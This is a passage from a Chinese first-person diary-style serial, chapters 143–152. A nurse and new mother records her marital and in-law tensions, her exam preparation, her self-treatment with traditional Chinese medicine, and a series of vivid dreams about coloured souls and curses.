    那天家公家婆没在家里，他也在玩游戏，可是我挺开心的，因为我看视频笑了一晚上，从来没有笑得那么开心过。那个时候宝宝也被家公家婆带走了。我感觉我们的感情又好起来了。等家公家婆回来了，又有宝宝在，这个日子又变成地狱模式了。真的是欲哭无泪啊。
    难道宝宝真的是我们之间的第三者。可是她脸上只有天真无邪的笑容。真的是哎呀嘞！人生艰难。
    还有好多需要做的题目。
    真的结婚以后女士的精力就变得不想刷题了，更多会放在家庭孩子那里。真无奈。我感觉我还是有毛病。我可能需要补肾，补五脏六腑。精气神都得提升。我还想要考中级护师呢！
    我真希望我们就这样子平平安安的过去。哪怕我们并没有办法当很伟大的人。只是平平凡凡的螺丝钉一样的人。不过听天命，尽人事吧！
    我最近总在想我们会不会覆灭。可是这是阎王爷的事，我们不用操心那么多。平时不是有话说阎王让你三更死不会留你到五更吗？所以不用想那么多，当一天和尚撞一天钟。好好干。
    我的思想变得有毛病了。我需要治疗。

 第143章

    我昨晚和老公说了我最近的心理状态。我看到他玩手机很晚就心里好气生病了。我认为是我的心理状态才导致我生病了。然后他说我阴阳怪气，指桑骂愧。
    我感觉好伤心啊！我只是陈述我的心理而已。又没有指责他。
    不过我也没有想哭。我感觉很平常。不知道为什么突然会感觉到他爷爷的情绪会说以后有了新房子要弄一些损伤我的东西。因为我的脾气很大。像一团黑色的球在说话一样，就是他的印象。然后又有另外一些的灰色的雾气说我在藏私房钱。可是我这段时间都在治病。我没有拿出我的钱交给家婆。因为我要治疗我的疾病。但是我老公拿了呀！难道结婚了他的钱就不算我的钱吗？我感觉到这种灰色的雾气感觉很难受。
    还有一些黑色的雾气就像在生气一样。感觉他们在欺骗我的感情。根本没有爱情。结了婚生了小孩子以后。他就一直都在玩游戏。就算他不玩，晚上他睡着了，我仍然会有很多的抱怨。抱怨自己每天晚上都要起来给宝宝弄吃的，而他睡的很香，我会感觉到不公平，而他没有睡的很香，他每天晚上都在玩手机，玩游戏，玩了游戏以后，看抖音，看娱乐看到很晚，自己都睡了，手机还亮着。我仍然看到了会感觉很生气。因为我每天晚上都要起夜，而他不仅没有在婚姻里帮忙，还不爱惜自己的身体。然后他没睡之前叫他帮忙一起弄奶粉，他玩稳游戏会有一种不耐烦的态度，让我感觉很伤心。失望。虽然他做了事，但是我很难受。
    领了结婚证，再怀的孕。办酒之前怀的，他的姑姑在我怀着大肚子的时候明着说有好多女孩子不要脸，没结婚就怀孕，巴拉巴拉的，然后我感觉对方在指桑骂愧。好像在讲我一样。可是我又没有这样子。可是听了就是很不爽。我们做什么干她屁事。那次我忍了，后面叔叔那件事，她又讲到了我女儿，我就怼回去了。然后我老公说我的不是。他还说我理解错了，他的家里人巴拉巴拉怎么怎么好。说我在他亲戚头上拉屎，根本不顾他的面子。我每次想到这个场景我都好生气。生气自己嫁了一个这样子的人，我心里依赖他，有他的时候，他的情绪让我感觉到他对我不耐烦。男的为什么要和女的在一起。感觉就不是同一个世界的人，思想也是，奇奇怪怪的，我认为不好的东西，他们倒是很喜欢。结婚前一家人的思想，都让我很满意，然后结婚过日子以后，发现他们的思想根本不是那么美好。好像之前都是骗人的，假的。
    假的也就这样子吧！反正也改不了什么。单身的话容易被人欺负，结婚的话一辈子都得低着头。巷子里的猫没有归宿感，家里待的狗一辈子都得低头。
    好生气，也许是熬夜的原因，多吃点药吧！奶奶之前也说过，后面她生完了孩子以后，吃了一箩筐的药。我感觉我也会是这个样子。我还想生两个宝宝。这是自己的使命感，算命先生说我命里有两个儿子。命里有时终须有，命里无时莫强求。
    我不太懂爱情。不用去懂。把日子过好就行。噩梦是因情而死。没有感情也没有活的很好。可是这是自己选择的就好。哪怕是不好的一生，也是自己选择的没有人强迫过自己的。
    有很多时候会感觉到自己在家里是一个外人。我感觉我的心态没有放好，是外人，就不用理那么多事。也挺轻松的。
    我感觉我没有生活的动力，不快乐。好像没有结婚以前也是这样子的，所以其实没有什么差别不是吗？日子过得再差也就这样子了。
    做自己想做的事吧！其实我的体质没有调理好，我家婆的也是这个样子。女士的身体真的挺难好的而且治疗好又需要花很多钱。我好想给我家婆捏肩，可是我胆子小。我几乎没有做过这个事。我也不知道为什么我胆子那么小。我在我家里也是这样子的，想给爷爷奶奶捏肩，也是这样子。我都会忘记，我也不知道为什么会忘记？好像我不应该忘记，可是我会忘记。搞不懂我的情绪。

 第144章

梦境，梦到一个村子是魔族的入口。然后一片混沌。说你师傅他的灵魂被我吸引，他以为帮我办事他就不会吃掉，其实会的。我喜欢让他的信仰彻底的变化，然后再把他吃掉，因为这样子的灵魂最美味。
    梦境里有一个奇怪的男人。他说有一些灵魂钩子，千万不要碰到了，那些钩子都是真实的。然后梦里面有一个钩子跟着这个男人在走。那个机器也很奇怪。然后梦到了一堆的东西。他们说那是生魂。都是生过小孩子的灵魂。
    然后我醒了。那个奇怪的灵魂变得好灰灵魂里感觉都没有了人样。
    为什么我会梦到这个？真奇怪。

 第145章

    梦境。最近不知道怎么回事，晚上睡不着，脑子一直在唱歌的感觉。好想好想。这首歌都好老了。然后不知道为什么脑子一直在回放这首歌。
    昨晚的梦境。梦见自己从一座山上下来，有一个蓝色的精灵在和我说话，而我跑的快，已经走的太远了。然后下一个场景一个穿碎花裙子的孕妇，在一个小房子里居住，然后看到了她老公，然后就产生了变化，我不知道怎么跑到了那个场景很好奇她老公会是什么样的人，没有和她打招呼推开了那扇门，然后发现她老公也是一个粪坑。然后就笑眯眯的把门关掉出去了。然后下一个场景就是一个奇怪的女子，梦里我是她，梦里我的朋友和我说生活艰难，很难找到工作了。然后下一个场景就是还是那个孕妇的房间，梦见了两个男的推开了自己的房间门，听不懂他们两个讲的什么，他们在我的眼里是黑色的不太好看，然后梦里感觉不太妙，就打了一个人的电话，本来电话想要打给清玄的，还是叫叶玄的来着，我不认识，可是梦里的我不想打给他，明明他的灵魂是很漂亮的红色。打给的是一个叫泰恩的人。下一个场景就是奇奇怪怪。梦里梦到了一个孩子，她的身份是一个外国人的名字，可是她是我生的孩子。然后就醒来了。
    后面宝宝发烧了，折腾了一晚上。后面睡着了。梦里面，梦到了家公说宝宝是一只土软虫。然后黑色的样子在哈哈哈大笑。
    然后梦见了一个童话一样的房子。宝宝在那个房子里居住。突然房间里进了很多虫子。然后美好的画册，变成了一些人的犯罪记录，各种孩子的惨状。梦里面在砸那些长出来的虫子，梦里用尽了全身力量在砸那些虫子。梦醒，宝宝的发烧退了。
    梦境里梦见了一个白色的男士，他笑眯眯。我说我只是有点不甘心被拒绝而已。其实理智上不理解为什么会这样子。所以这种能量纠缠就是我学习的东西吧！吃不到的葡萄就要说葡萄酸。这种心态也挺好的。不过怎么解决这个能量纠缠，应该还有别的方式才对。因为理智并不能解决很多的问题。
    然后下一个梦，梦到了传金。梦见他在相亲。梦里面的我说我不太喜欢传金，因为我和他一起的话，我可能要面对很多以前的同学。我不想面对他们。然后梦里面一个奇怪的女士对我说，你不是结婚很久了吗？然后我突然醒了。为什么我会梦到这个场景？搞不懂！
    最近的天气很湿热。好热啊！

 第146章

    昨晚的梦境。梦里面是一个绿色的女孩子，然后周围有好多黑色的东西围着，她好像要对我说什么，不过我没有听懂，但是看到了好多黑色的像一条一条二十厘米粗的线一样线围着。然后下一个场景是一团红黑色的灵魂。她的嘴巴像尖尖的锥子一样，在笑眯眯的说：她手上有人命。然后我看到了她。不知道这是什么。然后就从梦里醒来了。然后突然感觉眼睛里好多红色的东西，起床看了一下眼睛好多红血丝。身体非常不舒服，给我的感觉有种特别的燥的感觉，像一个灰色的奇怪的附体一样。然后到了早上又好回去了。那种眼睛里有很多红血丝的地方，看了一下没有那么多。
    上班的时候同事说她上班堵车，差点撞到了人，不过没有发生什么大事，还好。然后我听了有点子奇怪的感觉。不过更多的感觉是还是害怕自己是不是要去临床上班了，所以预示自己工作不顺，还是自己心里害怕去上临床班，所以心里会有这样子的梦境产生。还是最近吃的药下的太猛了。过了量。但是去看了一下，没有过量。有个医生说现在的药方其实剂量比以前小，所以效果都一般般。所以我不可能过量。而且最近我的身体也是那种温润的感觉。
    不过做梦的时候还是感觉很燥，但是醒来了又没有感觉到燥。不知道怎么回事。上班很有精神，下班回家就睡着了，很困，然后看到了一团圆圆的灰色的东西，快醒来的时候感觉那团黑色的东西很想扎进身体里的感觉。但是醒来的时候又没有什么感觉。
    去看了一下镜子里自己的神情。脸色更好了。然后眼睛周围好多黑色的东西。显得比较灰暗。其他的地方感觉精神面貌还可以，比之前更好。但是感觉自己的记忆力一般般。
    好奇怪的感觉。湿热感觉还有。手没有以前几年那种热的不舒服的感觉。上了个厕所，感觉大便还是比较粘腻。比前两天要好很多，至少成型了。说明湿气身体里还是很多。并没有到燥的程度。眼睛里还是有一些红血丝，但是比以前给我的那种感觉就更好，但是红血丝还有。病案里说那个人她也是有红血丝然后湿热好重然后吃这些药，就渐渐的好了，红血丝也没有了。
    一个产妇，生完宝宝以后她的朋友建议她吃六味地黄丸和逍遥丸，然后吃了以后就把自己的精神状态调理好了。因为生完宝宝以后熬夜导致脾气不好。我生宝宝以后没有吃这个，但是我知道那种天天熬夜气血虚的那种感觉，而且心情好差，三天两头和老公吵架的感觉。不过我不晓得什么原因就是。就自己买了杞菊地黄丸吃了一下子。不过没有经常吃，等我身体状态感觉还可以了又没有继续吃。我还以为是因为熬夜导致肝火旺。人家说我的状态调理的很好，可是上班嘛又发现不算好。可能就是没到位。
    还是得多学习啊！吃这几天的药。还是需要学习，怕自己学的不精。宝宝又感冒了，家婆说宝宝有呕吐。我下午睡着了，给她脱了衣服，因为我发现她身上好多汗。哎呀嘞，看来带宝宝还是家婆带更好。
    吃饭的时候感觉给宝宝买了凳子她还是赖家婆抱。看了以后我没有什么太大的感觉。我总感觉她们之间有一条奇怪的精神力。因为以前我在我和我奶奶之间也发现过。不知道怎么回事。不知道的事就让它吧！很多事我都看不懂，就算懂也懒得懂，因为我自己也没有活明白。就像老公讲的，你认为很不爽的事说出来，感觉就是你有问题但是总有理由说是别人的问题，所有人都有问题。所以想要抱就抱，反正我的心意在那里，我希望家婆吃饭会更舒服。我做了，其他的也懒得去想，想了也就这样子吧！反正我也解决不了。日子过得再差也就这个样子。大不了就更差，要么就还是原来的样子。
    昨晚的时候，电视机开不了，家婆讲了一下，然后我说我不会让老公看一下，然后老公看好了，家婆好开心，因为家公也不会，她也不会。昨晚我脑子里的想法就是，家婆好像老公做事做的好，她就好开心，而如果是我做事做的好一点她就会对我充满攻击性一样。像之前在家包饺子就是这样子。她包的饺子挺好吃的，我们一起包的时候，她就说自己不会包，包的难看，然后老公的堂姐也这样子讲，感觉就是她不喜欢我做好的感觉。后来我们自己做了两次饺子，就没有自己做过了。本来打算自己学会来然后以后以后我们可以省一笔钱，我休息的时候也可以做，但是后来没有心情了。可能家婆也没有精神，不想搞这个，因为家里好多家务活，她又要带娃又要做家务。我的话我基本不做家务，因为我不喜欢做。
    我以前就是乱室佳人，房间乱的不行，实在受不了才整理，要不然根本不整理。我也知道我差，他们接受了。对吧！改是想过要改的，可是江山易改，本性难移，过了两天房间又乱了。

 第147章

    梦境。时间我已经不记得了。有点子乱。
    第一个梦，梦里面是一个房子，然后有一个很漂亮的女孩子的灵魂说叫我送她去人民医院。然后我说我拒绝我说别人也可以骑车送你去的，然后旁边那个人的两颗眼珠就掉了下来，那个人说你看我没有眼睛我不能骑车，要你。然后下一个场景就是在一栋大楼上，下面不知道发生了什么。还是一个人叫我载他们去哪里，我说我妇保的，载不动啊！然后下一个场景就是很多灰色的灵魂一条一条的，她扔了两个包给我，梦里面的我要去拿我的包，然后就拿了一个比较破的手机，追下去了。然后梦里面的灵魂感觉自己的也变成了灰色，还说要拿我的大刀。可是我也不明白这是什么东西。然后前面的那个我就不见了。楼上面的人说这是巫蛊之术。
    但是不知道这是什么意思。
    另一个梦，梦里面是在坐车送一个人去乡镇，好像送她过去了。然后叫我送过去的人说送的那个人不是她。究竟要送谁，我也不知道，只知道自己送过去了。然后就梦醒了。不晓得怎么回事。奇奇怪怪的梦境。
    然后另一个梦。梦里面自己排湿气排的还多子，按理来说应该很舒服。前些日子也确实很舒服。然后梦里面突然出现了灰黑色的灵魂，她动了几下子。然后醒来上班的时候，发现自己的身体变凉了。突然会打喷嚏。然后感觉自己周围有一个好大的黑色的灵魂。然后下班回家，本来要吃一种药的，那天突然吃了两种。而且感觉自己的意识被入侵的感觉。后面回家的时候全部晕车吐掉了。
    然后下一个梦。梦里面是一条长长的黑色的灵魂，她在照镜子，镜子里是我的宝宝。然后通过镜子，看到了我上班的场景，然后上班的时候我的脑子里有一团东西包裹住了我的脑子，我的面前出现了两个灰色的人，她们给了一张纸，要我读那张纸里面的字，那句话不记得是什么了。我好像没有读出来。梦里面说那是巫蛊之术。我好像被人诅咒了。不过我不知道这是什么意思。
    然后下一个梦。梦境里是一个带眼睛的灰色的男的灵魂。他在梦里靠近我的脑子，不知道他干嘛，梦里他在笑。我的脑子里梦里一直在唱歌：越迷人越危险。然后唱了一晚上。然后梦里醒来非常的诧异为什么要唱一晚上这首歌，难道是因为我听这首歌，听出了灵魂阴影。最近用的药，在排寒气，可能我听这首歌听得心里有点凉，所以把那种潜意识的情绪排出来了？
    然后下一个梦，梦里面和现实有相交吧！现实是一个好帅的男孩子，他是妹夫。然后他的眼睛很漂亮。当时看到他我的心就突然理解了为什么老公妹妹会怀孕了。像这样子帅的男孩子。我那时想我攒够了钱。我都可以自己给他生孩子。一点也不觉得亏。也就这样子想一想吧！像一本书里写的，为什么女孩子不要什么和男孩子走，会被骂。讲的就是那个女孩子这样子做，会让其他的女孩子的隐形利益受损。她这样子做了以后，其他的女孩子，要是跟着，那么之后的父母他们就不太愿意投资自己的女儿，因为她们会和别人跑掉。自己花了钱投资的学业学习根本没有任何意义，对自己又不好。然后下一个就是会变得地位低。之后的婚姻生活和日子其实都需要钱的，以后没有资金的来源，还有如果不幸被抛弃了，还会被不好的人盯上。所以不能乱来。然后梦里面自己的这种乱七八糟的想法变成了黑色的能量。梦里想如果我老公没有和我相遇，我和一个很帅的人结了婚。那么我老公就会去迎娶白富美，和她在一起生活，然后就会投资开店，做出一番伟大的事业。然后变成凤凰男。而我可能会因为人家长的太帅，喜欢他的颜值。然后结婚生儿育女。然后面对各种糟心的事。婆媳问题，或者其他的。
    梦里面是一只红色的龙虾。跟着其他的东西，好像白色的灵魂，不认识他是谁，感觉没有见过，然后还有一个灰色的男人的灵魂。他说其实另一个灵魂也是我的，只是她喜欢白色。然后说那个女孩子是巨蟹座的，然后梦里说我打的屁真臭。然后梦醒，不知道啥意思。
    然后下一个梦，梦里面是一个村子，在村子里的树上，妹妹把她的书包挂树上，她说她在那里睡觉。然后她说她怀孕了。然后梦里的我叫她穿起衣服赶紧走，不要在这里，然后梦里的她说她做了不好的事，我就这么原谅她吗？然后我愣着看她。然后下一个场景就是一个明黄色的男的灵魂，不知道他在说什么。没听懂。
    下一个梦境，梦里面是一个工作的地方。梦见自己在给宝宝洗澡，然后梦里有一个坑，然后坑里面红色的东西通过我穿着口罩的脸进入了我的身体。我不知道什么意思。梦里面还是那个带着眼睛的男的，他的灵魂在一团很黑的东西里，然后他进入了一个人的身体，梦里我问他为什么这么做。他说：未经他人苦。然后梦里醒了。他还是那种笑眯眯的灵魂。没有任何危险感的危险人物。搞不懂他。
    然后下一个梦境梦里面是一团黑色好大的灵魂，然后梦里面的那个人好像是我。就要进入那团黑色里面了。然后突然间听到声音，说很富有的人，他们的选择有很多个，不止你一个。然后我醒了。看到了那团黑色的东西。
    然后下一个场景就是梦里面梦见一团黑色的灵魂她有眼睛和鼻子，她说让我老公也考上去，然后把他安排到乡下，等时间久了，越来越没有感情。然后梦里面好多灰色的东西，她又变成了米黄色的。我认为我应该不会吧！因为我最爱的事是看书。我老公最爱的是打游戏。就算他考到了，他也未必会和别人有感情。放心的很。
    下一个梦，梦里面是我和我老公。他在梦里像一个二傻子，我也是二傻子一样，我们在点什么东西。他说这是地球的系统，然后叫我不要乱点，然后梦里的我点到了外星球。梦里好多黑色的东西。不知道在做什么？

 第148章

    工资还没有发。然后找到了一点点钱，还有一个以前的同事结婚，过几天需要包红包。然后六月十五号需要考操作，还没有开始练习。需要刷网课。我还有本科的内容需要学习。然后我又想要学习中医。看了一些穴位。希望记一点点吧！拜师父的话可能需要两万多块钱。我们现在还拿不出来。那就自己抄书学吧！
    这个需要悟性。也需要天分。
    最近的自己四点五十八醒的。肺经的时候，所以最近一段时间我都需要补肺气。我看我的脸色很黄。晚上看又不会，还可以。医生说我是晒太阳晒得。因为我在门口上班。不过我脸上还是有黄褐色的斑。想找医生开甘露消毒丹治一下。但是我又好纠结。现在工资还没有发。然后如果开的量太大的话。冰箱放不下。如果吃中成药的话。又不想吃中成药。现在屁好多。感觉屁好热的感觉。前几天不会，可能是因为我吃的杨梅太多了。今天没有忍住吃了油炸的东西。我自己熬了一点点猪油。熬的猪油渣也不算干，但是我不知道算不算上火。所以感觉我的肠子很热，里面好多热气。放屁都有点子痛。特别的害怕。总感觉屁股那里有一团黑色的东西。一直都有。可能我需要艾灸一下，可是我的艾灸盒又需要重新买过，其实我不想重新买。因为我想要重新买的东西太多了。实在太多了，我并没有很多很多的钱。就像有一个老师。她的家庭条件很好。穿着打扮很富贵。而我感觉对方很有物欲。对物质很有需要。如果我到了这种程度可能也和她一样，可是我还没有那种程度，我就不能啥事都想着买买买。主要是我的能力撑不起我对物质的需要，那么我就需要做一些调整。好想买一个辅食机，可是有的文章又说辅食机不需要。比较鸡肋。那我就不知道怎么选择了。
    老公考三支一扶。我不知道想不想要他考到来。考到来有好处。他的工资会同工同酬，然后有公积金以后我们可以贷款买房子的话就可以还少一点的贷，压力更小一点。麻烦就在于，他可能会去很远的地方，乡镇其实也很远。一个月可能就见几次面。然后我会担心他会不会出轨，毕竟山高皇帝远。他也会担心我，会不会搞事情。然后如果去了乡下需不需要给他买一辆车呢？这又是考虑的问题。其实也可以拼车，和在乡镇的同事搞好关系，然后搭他们的顺风车，给车费给他们。或者坐公交车。我以前在乡下的时候就是坐公交车。主要还是那个时候没有结婚，结婚以后的生活和单身狗性质就不一样了。
    如果我老公在乡下，我在县城。我会怎么办？家公家婆的话还好。不过我心里上会怎么做适应？船到桥头必有路。算了再怎么担心恐惧也就这样子过。尽人事听天命。
    这次我居然没有被调动。好处就是不用上晚班，但是坏处就是危机很大。很容易被淘汰。所以需要努力用功的工作。
    还有题目没有刷需要刷题了一个月一考。很多自觉需要做的题目我今年还没有刷。自己自觉去学习的东西，其实对自己的用处很大。有很多的好处。在生子以前无意间刷到一些题说女性生孩子那段时间的心理变化。然后自己就恰好可以更好的调节自己的心理状态。虽然我心里面仍然计较于月子之仇，但是也不算太严重。毕竟老公的弟弟我也没忍住打了一次。而且是怎么都过不去的那种。
    真的是体会深刻。
    努力学习工作其他的都没有办法掌控。其实努力学习可能我也没有办法掌控。但是尽力了就好。
    只能说加油吧！
    然后其实写东西也是为了锻炼自己的文笔。万一以后我写的很好呢？万一以后我也能写出很精彩的小说呢？万一我也会获得成就感呢？是吧！人生有很多种可能。
    现在写这些东西，就是为了放松我的心情。我需要把我不好说的东西说出来，心里会松一口气。
    昨天的梦，梦见保安老王说不好意思他没有认出来。但是我也不知道他讲的什么意思。然后然后就是一个光亮的平。就医院上班的地方。然后一个白白的大大的灵魂在看着我。梦里的我感觉很累，很累。然后下一个场景，就是梦到了胡院长。胡院长在讲什么我也不知道，她拿了我的药。参苓白术丸。拿了那个瓶子看了一下。然后下一个场景就是一个很大很灰的精神体，不知道它在搞什么。好奇怪的感觉。
    我的妇科病不知道什么时候才会好。快的了一个月了。就那次突然生气。然后到现在。吃了药没有痒。但是我不确定我会不会是很严重的疾病。自己心里的话，怀疑是阴道白癜风。因为最近老是梦见一个人得了白癜风。然后梦里面一个老头子说谁谁谁白癜风治好了，叫我不要怕。然后我感觉有点子害怕。这个跟肺经有关吧！个人感觉，医学的话不懂，中医的内容我都才开始翻书。很多东西都不懂。因为肺主皮毛。然后最近还有轻微的咳嗽。所以我感觉需要补肺气。真希望我的妇科病好起来啊！好想骑单车啊！这件事让我感觉很烦恼。
    然后前几天有个医生他有白癜风，然后我问他，他说这病没得治，不会痛，然后过了几天和他打招呼我又和他讲白癜风，我感觉我脑子真的很抽，哪壶不开提哪壶的那种，事后还是没有感觉到自己和人家这样子说话是不妥当的，然后今天才想起来，这样子不好。然后后面有一个病人他的手也很像白癜风，我问他痛不痛。他说不痛，我不晓得我为什么那天会问这个事，我感觉那天我有点子奇怪。
    算了不纠结这个事了，再纠结也就这样子。
    我感觉我的同事有点子怪怪的，但是我其实又不能说同事的坏话。但是也不是坏话。我不知道她怎么回事。我总感觉她是灰色的能量。很多时候说话给我的感觉也是灰色的，笑眯眯的。
    也有可能她说的话都是让人感觉很伤心，悲伤不开心的事，所以会感觉她说的话是灰色的吧！要不就是工资没有发，要不就是人家闹事。然后还看到了圆圆的东西。不知道这个是什么？她能力其实还强。为人热情。不知道她考不考的到乡下编制。她想考。其实她以前也过了笔试，面试没过，考的其他县，本县的话，不清楚竞争比较激烈。反正我以前在乡下考了很多次，都没有考到。她老公也考编制，她老公是老师，每个月工资三千左右。对于其他人来说还不错，大家都羡慕老师的假期。然后他想考公务员。主要还是冲着五险一金来的吧！我感觉。要是考到了老师编制，应该不会去考虑公务员。毕竟老师的假期是真香。公务员的事其实也没有想象中简单。往往你觉得的清闲的地方，上起班来都让人怀疑人生。不过她家里人是单位的。感觉还不错。他们不需要买房，离县城比较近。然后还有土地。比我的配置就好多了。还有院子。
    有的时候我会吐槽，怎么自己的眼光这样子。但是我感觉老公又还好。他有很多次的选择都会让人特别多的安心，和感觉到他在关心你。所以感觉这个人还好。物质生不带来死不带去的。也就这样子。但是内心还是会比较羡慕有一个房子有院子可以种菜，可以种果树。怎么讲呢？不知道怎么讲？我感觉城里的生活和乡下的生活。好像都差不多，各有各的优势，也各有各的苦吧！乡下的话，更安静，然后更不方便买生活用品。怕蛇。天热的时候。像我和老公的乡下，到了夏天可能会很热。然后我们门口的菜地也是好小，并不是很大一片，然后冬天好冷。会下雪。我一个容易发冻疮的人。内心只能呵呵呵。我老公买了电火笼给我。不过我还是怕冷。城市的话压力大，没有土地种菜。什么都买买买，有钱还好的说，没有钱寸步难行。
    不知道该讲啥？好像啥也没有讲。

 第149章

    今天早上的梦境很有意思。不知道梦到了什么？
    梦境里是一个孩子，好像我老公的弟弟。然后梦里面我说要骑车载他。带他去一个地方。然后梦里面我差点摔了他，还好没有摔到他。然后下一个梦，是梦到了一个宝宝。宝宝很可爱。然后她有妈妈。总之就萌的不行。
    然后下一个场景。就是一个学校。一个女孩子捡到了一个人的身份证。然后顶替了她上学。然后她在学校里好好的学习。老师陪伴了她好几年。后来她毕业了。然后发现那些老师都是医生。她们笑眯眯的穿上了白大卦。说那个女孩子有精神问题。终于出院了。
    然后就是下一个场景。梦里的我好像在铲草。路上有很多的黑色的东西。走在铲它们。然后后面出现了一个穿白色衬衣的男的。他也过来铲草。然后他说他是小丽的哥哥。梦里好像梦到了我老公梦里的他笑的好奇怪。老公的弟弟也笑得好奇怪。然后就醒了。
    不知道什么意思？因为梦里的我就是小丽。然后我很惊讶的看着他。
    很奇怪的梦境。
    我想起了一个事。昨天的话我在和保安说我以前很胖。然后就亲戚说我胖了不好。巴拉巴拉的，然后听了我就心里不舒服。然后不知道为什么想吃东西就吃不了。感觉很像从心理上在拒绝吃东西一样。然后我就瘦了，也不用吃减肥药。瘦了以后，精气神也变得很虚弱。直到现在我变胖了。我发现我很开心。精神状态还可以。有点子神奇耶。
    然后就是今天早上的梦，让我想起了一件事。十六岁的我那个时候很胖。我在土地上做事。不记得是铲草还是在干什么农活。那个时候身上穿了一件价值五元的一件很神奇的衣服。颜色比较暗。然后那个时候堂哥他带了女朋友小丽来看他外婆也就是我奶奶。奶奶看了很开心。然后后面我回家的时候，奶奶说他女朋友比较瘦很好看。然后又说我很胖。后面她说其实胖也好。但是听了之后就没有什么感觉。但是感觉自己就是吃不下饭了。姑姑也说我胖。每次回想起这个事，总会感觉我堂哥他是不是在嘲笑我胖。后面的话我没有怎么接触嫂子。因为她在上大学。后面他们毕业以后就结婚了。本来想去外面发展，考外地的公务员。他们特别的希望能够考到一个地区，两夫妻不能离那么远。然后在外省。要不就是两个人都考上了，然后分的很远。反正也考了。后来亲戚就叫他们考我们县的。然后就好像没有等到机会。后面他们都去教书了。不知道嫂子是不是考到了三支一扶。到乡下教书去了。是不是意味着她要考回来了。到县城。五年任期过了。不晓得这个梦什么意思？
    搞不懂。嫂子对我还好耶。我考县城，她教我怎么面试。我感觉还可以。堂哥也还不错。那个时候他们一家人都在指导我，训练我的胆量。我就是说话的胆量很小。不知道怎么表达。完全没有这个脑子。
    不知道为什么又突然之间想到了我同桌。每次碰到一个事，我就问她这个应该怎么说呢？然后她就教我怎么说。然后我就按照她说的一字不漏的说出来。有点子神奇。而且我并没有感觉很怪，每次碰到了事，就问她怎么回答，然后她就教我怎么说。好无语。
    除了礼貌用语，其他的我都不会。不知道怎么和人聊家常，也不知道寒暄。活的有点子艰难。这本来是一件很悲伤的事，但是我特别的想笑。每次想到我自己我就想笑。以前的我像一个我世界里的小丑。现在的我是我未来世界里的小丑一样。就是本来我需要从外界接收信息。像家公或者老公一样，看到别人的一些事，会感觉很开心。愉悦一下自己。而我不需要，我感觉这个世界都很美好，只有我不好。而且这种想法让我感觉到很难受。我就像小丑一样，在每天逗自己开心。可是逗自己开心，花了很多精神。然后就变成了自己世界里的小丑。因为我好像看到自己出丑就会感觉很快乐。我也不知道原因是什么？也许是因为我有很高的标准。所以内心很累。不够放松。
    在一些心理内容上是这样子写的。我们有很多潜意识。然后有的人潜意识里的乱七八糟的想法通过道德标准的转化放松出来了，然后那个人就变得心理健康，充满活力。而抑郁症就是道德标准实在是强而且不让它们到现实世界里去，然后久而久之，人就变得很累。没有活力。直接让它们出去，就会变得做坏事。比如一个人让你很生气，你就希望揍他一顿，但是你揍了，就是你的不是了，你不揍就会心情不好。因为他真的让人很生气。只有想办法出来。人会变得平衡了。大概是这样子理解的。
    昨天有个同事说马齿苋弄碎来泡脚可以治脚气。真好，学到了，很感谢她的分享。

 第150章

    明天考操作。昨天练操作到晚上九点多回的。然后我发现我的操作入院更好了。没有拖时间，但是不知道自己有没有漏掉。练了五遍左右。我的操作最大的问题是我的嘴巴说不块。声音大，但是说多了容易嘴巴累。不过练了总比没有练好。快的一次有一分钟的时间。
    今天打算练鼻饲。鼻饲十分钟弱项。鼻饲，胃肠减压都很相似，但是胃肠减压十二分钟，鼻饲十分钟。然后脐部护理操作五分钟。我还是需要过几遍。然后我的同事小芳，不知道练到多少点。九点多我都回去了，她都还没有回去。不过她家离医院近只需要十分钟以内到家我的比较远，最快十六分钟，要是堵车之类二十来分钟，因为我骑的慢。
    昨天把我的工作服从老院找回来了，我感觉这不是我的工作服，老感觉我的工作服和人换了，但是我没有找到自己的工作服，家里。然后发现我的衣服没有写我的名字，就是我的了吧！还是要写名字。才记得到是自己的东西。
    新来的肖师傅人很不错。帮我去老院开了门。然后他修锁用了十五块钱。人家买都要三十五呢？好厉害。好会省钱，就喜欢这种会省钱的人。
    新院很不错不知道有没有更省电的方式，总感觉电灯好多啊！这些浪费的电都是大家的钱。算了我一个小人物不能天天想着那么抠的事。

 第151章

梦境。不知道梦的什么？梦见了一条船。船上有一些奇怪的东西，然后船上有一个人和我说有刺客要杀我，梦里他讲的什么来着。然后我和他说我身上有符。然后梦境变了，也不知道是不是符没有作用还是怎么子。变得好奇怪。搞不懂哦。
    然后下一个场景。梦到了一个灰色的精神触角。粘上了我的灵魂。然后我变得很累很累。
    是不是太累了呢？

 第152章

    今天问了医生。他说我吃参苓白术丸还有肾气丸上火了。有点子失落哦！不过妇科病好像好多了。没有痒。所以其实是有效果的，只是吃好了，那段时间没有及时停掉？也许吧！
    我觉得我还是要多学习。我并没有感觉到我自己脾气变得很大。但是昨天晚上确实睡的不好。然后我发现我的脸色很差。唇色有点子暗沉。眼睛的瞳孔像猫咪一样，虹膜像琥珀一样的颜色。看来我是需要解毒了！难受！
    昨晚的梦。梦见了一个女人，她抱着一个孩子。然后她心情很不好，然后我问她你宝宝呢？然后她说她没有宝宝。然后她的灵魂就变得发白。像长了触手一样还有一团奇怪的东西在笑，然后就梦见了陈老师。心情好一点了。
    然后下一个场景就是梦到了小丑。一个电影里的那个人。我没有看那个电影，但是我看了那个电影的解说。我感觉他这个人其实还不错。可能和我一样吧！亲情爱情友情都没有。然后他也会笑，很难受的时候会笑。我也是很难受时会笑。然后看完了解说，我发现解说挺有意思的。时不时蹦出来的是我们的本我，它就像小丑一样。他说小丑才是主角。只是它选择了那个人，所以变成了小丑。我会不会也是这样子的呢？但是在中医里面，这个是心经有一点问题。意思就是经常熬夜等情况，导致心神不定，心主神志。所以需要按中冲穴。调理。然后梦的下一个场景就是梦见一个人附体了，然后梦里面我在抢救她。然后再就是梦见了一个好大的小丑和电影里一样，好绿的头发，笑得很大的红色的嘴巴。然后就是梦到了那个小丑的主角，我说我认为你是一个很好的人。你让我理解了我自己。然后生命是一场体验，这个地球就像一个学校一样，让我们学习到很多的东西。我也有很多的执念，但是这是我需要学习的东西。看到了什么见到了什么，那都是我们赋予的意义。妈妈有妈妈需要去学会和经历的东西。我们有我们需要去学会的东西。我看了心灵奇旅。体验现在的每一刻，我都感觉很幸福。
    然后看见黑色的男主角他离开了。
    梦醒后，大概两三点的样子。我一直在回忆着梦，我特别的想睡觉可是我睡不着，然后就一直回忆。然后感觉有一团黑色的好大的球，它一直都在笑，怪怪的笑。黑色的球里包裹着我的灵魂。像黑色的墨水把我包裹住了一样。
    真的是奇奇怪怪的。
